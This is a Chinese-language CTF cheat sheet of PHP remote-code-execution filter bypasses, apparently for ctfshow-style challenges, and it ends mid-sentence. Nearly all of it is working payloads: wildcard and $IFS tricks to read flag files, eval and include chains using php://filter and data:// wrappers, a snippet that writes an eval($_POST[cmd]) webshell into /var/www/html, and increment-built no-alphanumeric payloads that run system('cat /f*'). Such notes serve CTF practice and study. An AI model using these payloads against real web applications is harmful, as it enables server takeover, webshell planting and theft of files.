一、关键字绕过

1. ban flag

转义符、通配符:

1
2
3
4
?c=system('tac fla\g.php');
?c=system('tac fla*.php');
?c=system('tac fla?.php');
?c=system('tac fla''g.php');

2. ban 空格

  • %09 编码绕
  • 重定向 <> 绕(不能将 </ 一起用),但是 ca\t<>fl\ag 可以
  • {cat,flag.txt} ${IFS} $IFS$9

3. 无字符 RCE(拼函数)

1
2
3
4
show_source(scandir(getcwd())[2]);
print_r(show_source(next(array_reverse(scandir(getcwd()))))); // 过滤数字
readfile(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(pos(localeconv())))));

show_source / highlight_file / readfile / var_dump / var_exportecho file_get_contents())(print_r(file()))等价。

pos(localeconv()) 可以代替 getcwd()dirname('FILE') 也可以。

1
2
print_r(scandir(getcwd()));
print_r(scandir(next(scandir(getcwd()))));

外带数据:

1
2
c=eval(array_pop(next(get_defined_vars())));&1=system('ls /');
?c=eval(end(current(get_defined_vars())));&b=phpinfo();

array_pop 会删除数组最后一个并返回。

1
2
system(getenv(HTTP_X_CMD));
// 然后在 HTTP 头添加 X-Cmd

3.1 绕过 /

环境变量 ${HOME%%root}

4. 绕过 system 等 PHP 函数

  • 反引号
  • exec shell_exec popen proc_open passthru
  • (systee|systel)('tac /f???');
  • ("sys"."tem")("ca"."t /fl"."ag");

5. 绕过 cat

  • tac more sort less tail strings nl vi rev
  • 复制、重命名、移动:
    • cp /flag /var/www/html/1.txt
    • cat /flag|tee 1.txt
    • rename mv

6. 外带

6.1 外带 GET

1
2
3
4
5
6
7
?c=eval($_GET[1]);&1=system('tac flag.php');
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
?c=include$_GET[1]?>&1=php://input
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php
1=data://text/plain,<?php system("tac fla?.php")?>
1=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

写马:

1
2
$a='<?p'.'hp ev'.'al($_P'.'OST['.'cmd]);?>';
file_put_contents('/var/www/html/cmd.php',$a);

include 被 ban 用 require, include_once, require_once

6.2 外带 Session

1
?c=session_start();system(session_id());

再在请求包中附带 PHPSESSID=ls,但这里不解析空格。

7. 无字符 RCE

  • ^
  • |
  • ~
  • 自增

当以上符号都被 ban(7.0.12 以上版本不可用,使用时需要 URL 编码):

1
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

固定格式,构造出 assert($_POST[_]);,然后 POST 传入 _=phpinfo();

如果过滤了 @

1
2
3
4
5
ctf_show=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
// 构造了一个 $_GET[_]($GET[__]);

ctf_show=$_=(_/_._)['!'==','];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=cat /f*
// 同上

引号被 ban:

1
2
3
4
5
6
7
ctf_show=$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;$$_[0]($$_[1]);
// 构造了一个 $_POST[0]($_POST[1]);
&0=system&1=cat /f*

// 0 和 1 也不行的话
ctf_show=$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);&_POST=system&_=cat /f*
// 这里构造了一个 $_POST[]($_POST[_])

过滤 /

1
2
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]); 
// 相当于 $_GET[1]$_GET[2]

除这些之外还可以用 `` `$